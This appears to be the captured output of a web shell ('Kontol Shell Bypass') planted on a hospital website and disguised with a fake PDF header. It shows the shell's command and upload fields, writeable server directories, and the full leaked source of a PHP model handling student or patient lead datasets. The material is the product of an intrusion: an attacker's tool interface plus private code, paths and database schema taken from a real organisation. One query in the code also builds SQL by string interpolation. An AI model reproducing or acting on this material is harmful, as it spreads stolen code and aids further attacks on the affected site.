%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/models/Dataset_model.php
<?php 
class Dataset_model extends CI_Model {
	function lists(){
		if(USER_TYPE == 'CALLER_MANAGER' || USER_TYPE == 'CALLER' || USER_TYPE == 'COUNSELOR'){
			$this->db->where("D.created_by", USER_ID);
		}
		$this->db->where("D.is_hidden", 0);
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->group_start()
				->like('D.title', $qs['k'])
			->group_end();
		}
		$this->db->select("D.id, D.title, D.created, D.expiry_date, D.lead_date_from, D.lead_date_to, D.is_campaign, D.is_webinar, D.leads_count, U.name usr")->from("leads_data_sets D")->join("users U", "D.created_by=U.id")->order_by("D.id", "DESC");
		$rs=$this->dba->pagedRows($qs['p'], 50, 5);
		foreach($rs['result'] as &$r){
			$r['created']			=get_date($r['created'], true);
			$r['expiry_date']		=get_date($r['expiry_date']);
			$r['lead_date_from']	=get_date($r['lead_date_from']);
			$r['lead_date_to']		=get_date($r['lead_date_to']);
            $r['is_campaign']		=(int)$r['is_campaign'];
            $r['is_webinar']		=(int)$r['is_webinar'];
            
            $lc=$this->common->data_set_leads_count($r['id']);
            $r['leads_count']=$lc['n'];
            $r['filters_used']=$lc['filters'];
			//$r['leads_count']=(int)$r['leads_count'];

			$r['splitDtl']=$this->splitDtl($r['id']);
		}
		return $rs;
	}

	function all_lists($campaign_only=false, $webinar_only=false, $caller_only=false){
		if(USER_TYPE == 'CALLER_MANAGER' || USER_TYPE == 'CALLER'){
			$this->db->where("created_by", USER_ID);
		}
		if($campaign_only){
			$cond=['is_campaign'=>1];
		}else if($webinar_only){
            $cond=['is_webinar'=>1];
        }else if($caller_only){
            $cond=['is_caller'=>1];
        }else{
			$cond=['is_hidden'=>0, 'is_campaign'=>0];
		}
        $rs=$this->db->select("id, title, DATE_FORMAT(created, '%d %b %Y') created, leads_count", false)->from("leads_data_sets")->where($cond)->order_by("id", "DESC")->get()->result_array();
        //echo $this->db->last_query();
        foreach($rs as &$r){
			if(!$campaign_only && !$webinar_only){
            	//$lc=$this->common->data_set_leads_count($r['id']);
            	//$r['leads_count']=$lc['n'];
            	$r['leads_count']=(int)$r['leads_count'];
            	$r['filters_used']=$lc['filters'];
			}
        }
        return $rs;
	}
	
	function detail($id=0, $user_id=0, $extraDtl=false){
		if(!$id){
			$id=$this->db->select("data_set_id")->get_where("users", array('id'=>$user_id))->row()->data_set_id;
		}
		$dtl=$this->db->get_where("leads_data_sets", array('id'=>$id))->row_array();
		if($dtl){
			$dtl['is_hidden']=(int)$dtl['is_hidden'];
			$dtl['expiry_date']		=get_date($dtl['expiry_date']);
			$dtl['lead_date_from']	=get_date($dtl['lead_date_from']);
			$dtl['lead_date_to']	=get_date($dtl['lead_date_to']);
			$dtl['cities_serialized']=$dtl['cities'];

			$dtl['states']			=$dtl['states']?explode(",", $dtl['states']):[];
			$dtl['cities']			=$dtl['cities']?unserialize($dtl['cities']):[];
            $dtl['acs']		        =$dtl['acs']?explode(",", $dtl['acs']):[];
            $dtl['disciplines']		=$dtl['disciplines']?explode(",", $dtl['disciplines']):[];
            $dtl['programs']		=$dtl['programs']?explode(",", $dtl['programs']):[];
            $dtl['plans']			=$dtl['plans']?unserialize($dtl['plans']):[];
			$dtl['fields']			=$dtl['fields']?explode(",", $dtl['fields']):[];
			$dtl['utm_sources']		=$dtl['utm_sources']?explode(",", $dtl['utm_sources']):[];
			$dtl['steps']			=strlen($dtl['steps'])?explode(",", $dtl['steps']):[];
            $dtl['payment_modes']	=$dtl['payment_modes']?explode(",", $dtl['payment_modes']):[];
            $dtl['ps_app_status']	=$dtl['ps_app_status']?explode(",", $dtl['ps_app_status']):[];
            $dtl['schools']	        =$dtl['schools']?explode(",", $dtl['schools']):[];
            $dtl['lead_sources']	=$dtl['lead_sources']?explode(",", $dtl['lead_sources']):[];
            $dtl['remarks_ids']		=$dtl['remarks_ids']?explode(",", $dtl['remarks_ids']):[];
			$dtl['encrypt_mob']		=(int)$dtl['encrypt_mob'];
			$dtl['encrypt_email']	=(int)$dtl['encrypt_email'];
            $dtl['encrypt_txnid']	=(int)$dtl['encrypt_txnid'];
            $dtl['payment_failed']	=$dtl['payment_failed']?$dtl['payment_failed']:'';
            $dtl['superbot_disposition']		=$dtl['superbot_disposition']?explode(",", $dtl['superbot_disposition']):[];


            $dtl['for']='';
            if($dtl['is_campaign']){
                $dtl['for']='C';
            }
            if($dtl['is_webinar']){
                $dtl['for']='W';
            }
			
			if($extraDtl){
				$lc=$this->common->data_set_leads_count(0, $dtl);
				$dtl['leads_count']=$lc['n'];
				$dtl['filters_used']=$lc['filters'];

				$dtl['splitDtl']=$this->splitDtl($dtl['id']);
			}
		}
		return $dtl;
	}

	function combineUsersDatasets($user_ids=[]){
		$dsDtl=[];

		$allDs=[];
		foreach($user_ids as $user_id){
			$allDs[]=$this->detail(0, $user_id);
        }

		foreach($allDs as $i=>$ds){
			if($i===0){
				$dsDtl=$ds;
			}else{
				foreach($ds as $k=>$v){
					if(in_array($k, ['expiry_date', 'lead_date_from', 'lead_date_to', 'followup_done', 'online_offline', 'med_phd', 'show_campus_offline_leads'])){
						unset($dsDtl[$k]); //For now RO and CAMPUS users
					}else{
						if(is_array($v)){
							if($dsDtl[$k]){
								if($v){
									foreach($v as $val){
										if(!in_array($val, $dsDtl[$k])){
											$dsDtl[$k][]=$val;
										}
									}
								}else{
									$dsDtl[$k]=[];
								}
							}
						}
					}
				}
			}
		}

		return $dsDtl;
	}

	function splitDtl($dataset_id){
		$rs=$this->db->select("sd.id, u.name, ds.expiry_date, sd.no_of_leads, sd.created, u1.name created_by")
		->from("data_set_split_dtl sd")
		->join("leads_data_sets ds", "sd.data_set_id=ds.id")
		->join("users u", "u.id=sd.user_id")
		->join("users u1", "sd.created_by=u1.id")
		->where("sd.data_set_id", $dataset_id)
		->order_by("sd.id")
		->get()
		->result_array();

		$rs=$rs?$rs:[];
		foreach($rs as &$r){
			$r['created']=get_date($r['created'], true);
			$r['expired']=0;
			if(strtotime($r['expiry_date']."23:59:59")<time()){
				$r['expired']=1;
			}
			$r['expiry_date']=get_date($r['expiry_date']);
		}

		return $rs;
	}

	function splitDatasetHistory($user_id){
		$rs=$this->db->select("sd.id, ds.title dataset, ds.expiry_date, sd.no_of_leads, sd.created, u.name created_by")
		->from("data_set_split_dtl_history sd")
		->join("leads_data_sets ds", "sd.data_set_id=ds.id")
		->join("users u", "sd.created_by=u.id")
		->where("sd.user_id", $user_id)
		->order_by("sd.id", "DESC")
		->get()
		->result_array();

		$rs=$rs?$rs:[];

		foreach($rs as &$r){
			$r['created']=get_date($r['created'], true);
			$r['expired']=0;
			if(strtotime($r['expiry_date']."23:59:59")<time()){
				$r['expired']=1;
			}
			$r['expiry_date']=get_date($r['expiry_date']);
		}

		return $rs;
	}
	
	function delete($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("leads_data_sets", array('id'=>$id));
	}

	function cities($state_id, $id=0){
		$cities=$this->common->cities($state_id);

		$dscities=$this->db->get_where("leads_data_sets", array('id'=>$id))->row()->cities;
		$dscities=$dscities?unserialize($dscities):[];
		if($dscities && isset($dscities[$state_id])){
			$dscities=$dscities[$state_id];
		}
		foreach($cities as &$r){
			$r['isadded']=in_array($r['id'], $dscities)?true:false;
			unset($r['pincode']);
		}
		return $cities;
    }
    
    function plans($program_id, $id=0){
		$plans=$this->common->plans($program_id);

		$dsplans=$this->db->get_where("leads_data_sets", array('id'=>$id))->row()->plans;
		$dsplans=$dsplans?unserialize($dsplans):[];
		if($dsplans && isset($dsplans[$program_id])){
			$dsplans=$dsplans[$program_id];
		}
		foreach($plans as &$r){
			$r['isadded']=in_array($r['id'], $dsplans)?true:false;
		}
		return $plans;
    }

	function saveDataset($data, $user_id=0){
		$err=FALSE;
		$this->db->trans_strict(FALSE);
        $this->db->trans_begin();
		try{
			$data_set_id=$this->dba->save("leads_data_sets", $data);
			if($user_id){
				$this->dba->save("users", ['id'=>$user_id, 'data_set_id'=>$data_set_id]);
			}

			$this->db->delete("data_set_leads", ['data_set_id'=>$data_set_id]);

			$ds_dtl=$this->detail($data_set_id);
			$this->common->set_data_set_cond($ds_dtl, false, false, '', true);
			$leads=$this->db->select("A.id")
			->from("applications A")
			->join("applicants U", "A.applicant_id=U.id")
			->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT")
			->join("superbot_response SR", "SR.id=U.superbot_resp_id", "LEFT")
			->get()->result_array();

			//pr($this->db->last_query());
			//die;

			$leadsArr=[];
			foreach($leads as $r){
				$leadsArr[]=[
					'data_set_id'=>$data_set_id,
					'application_id'=>$r['id']
				];
			}

			if($leadsArr){
				$this->db->insert_batch("data_set_leads", $leadsArr);
			}

			$this->dba->save("leads_data_sets", ['id'=>$data_set_id, 'leads_count'=>count($leadsArr)]);

		}catch(Exception $e) {
            $err=TRUE;
            $msg=$e->getMessage();
        }
		
		if($this->db->trans_status()===FALSE) {
            $err=TRUE;
        }
		if($err){
            $this->db->trans_rollback();
			return FALSE;
        }else{
            $this->db->trans_commit();
			return TRUE;
        }
	}

	function splitDataset($data){
		$ds_dtl=$this->dataset->detail($data['ds_id']);
		$this->common->set_data_set_cond($ds_dtl, false, false);
		$leads=$this->db->select("A.id")->from("applications A")->join("applicants U", "A.applicant_id=U.id")->get()->result_array();
		$leadC=0;

		//pr($this->db->last_query());
		//die;

		$err=FALSE;
		$this->db->trans_strict(FALSE);
        $this->db->trans_begin();
		try{
			if(!$ds_dtl['expiry_date']){
				$res['success']=false;
				$res['msg']="This dataset has no expiry date so it can not be splited!";
				json_data($res);
			}

			$this->db->where(['type'=>'CALLER', 'data_set_id'=>$data['ds_id']])->update("users", ['data_set_id'=>0]);
			$this->db->delete("data_set_split_dtl", ['data_set_id'=>$data['ds_id']]);
			$this->db->delete("data_set_split_leads", ['data_set_id'=>$data['ds_id']]);

			$dsid=(int)$data['ds_id'];
			$dt=date('Y-m-d');

            foreach($data['callers'] as $c){
				//$this->db->delete("data_set_split_dtl", ['user_id'=>$c['id']]);
				//$this->db->delete("data_set_split_leads", ['user_id'=>$c['id']]);
				$q="DELETE dsl FROM data_set_split_leads dsl JOIN leads_data_sets lds ON lds.id=dsl.data_set_id WHERE dsl.user_id='{$c['id']}' AND lds.expiry_date<'$dt'";
				$this->db->query($q);

				$d=['id'=>$c['id'], 'data_set_id'=>$data['ds_id']];
				$this->dba->save("users", $d);

				$d=['user_id'=>$c['id'], 'data_set_id'=>$data['ds_id'], 'no_of_leads'=>$c['no_of_leads']];
				$this->dba->save("data_set_split_dtl", $d);

				$userLeads=[];
				for($i=1; $i<=$c['no_of_leads']; $i++){
					$userLeads[]=[
						'data_set_id'=>$data['ds_id'],
						'user_id'=>$c['id'],
						'application_id'=>$leads[$leadC]['id'],
					];

					$this->db->delete("data_set_split_leads", ['application_id'=>$leads[$leadC]['id']]); //'user_id'=>$c['id'], 
					$leadC++;
				}
				if($userLeads){
					$this->db->insert_batch("data_set_split_leads", $userLeads);
				}
				unset($userLeads);
			}
		}catch(Exception $e) {
            $err=TRUE;
            $msg=$e->getMessage();
        }
		
		if($this->db->trans_status()===FALSE) {
            $err=TRUE;
        }
		if($err){
            $this->db->trans_rollback();
			return FALSE;
        }else{
            $this->db->trans_commit();
			return TRUE;
        }
	}

	function callerLeadsCount($user_id){
		$n=(int)$this->db->select("COUNT(1) n", false)
		->from("data_set_split_leads SD")
        ->join("leads_data_sets DS", "SD.data_set_id=DS.id")
		->where(['SD.user_id'=>$user_id, 'DS.expiry_date>='=>date('Y-m-d')])
		->get()
		->row("n");
		return $n;
	}
    
    function dataset_leads($id){
        $ds_dtl=$this->dataset->detail($id);
        $this->common->set_data_set_cond($ds_dtl, true, false);
        $rs=$this->db->select("A.id, A.application_no, A.step_completed, A.created, A.plan_id, P.title program, U.lpage_id, U.verified_by, U.state_id, U.name, U.email, U.mob, U.utm_source", false)
        ->from("applications A")
        ->join("applicants U", "A.applicant_id=U.id")
        ->join("master_programs P", "P.id=A.program_id", "LEFT")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->get()->result_array();

        if($rs){
            $md=$this->common->master_data_for_leads();
            foreach($rs as &$r){
                $r['state']			=$md['states'][$r['state_id']];
                $r['lpage']			=$md['lpages'][$r['lpage_id']];
                $r['plan']			=$md['plans'][$r['plan_id']];

                $r['login_url']=generate_login_url($r['lpage'], $r['mob']);

                unset($r['state_id'], $r['lpage_id'], $r['plan_id']);
            }
        }
        return $rs;
    }
}

//End of file

Kontol Shell Bypass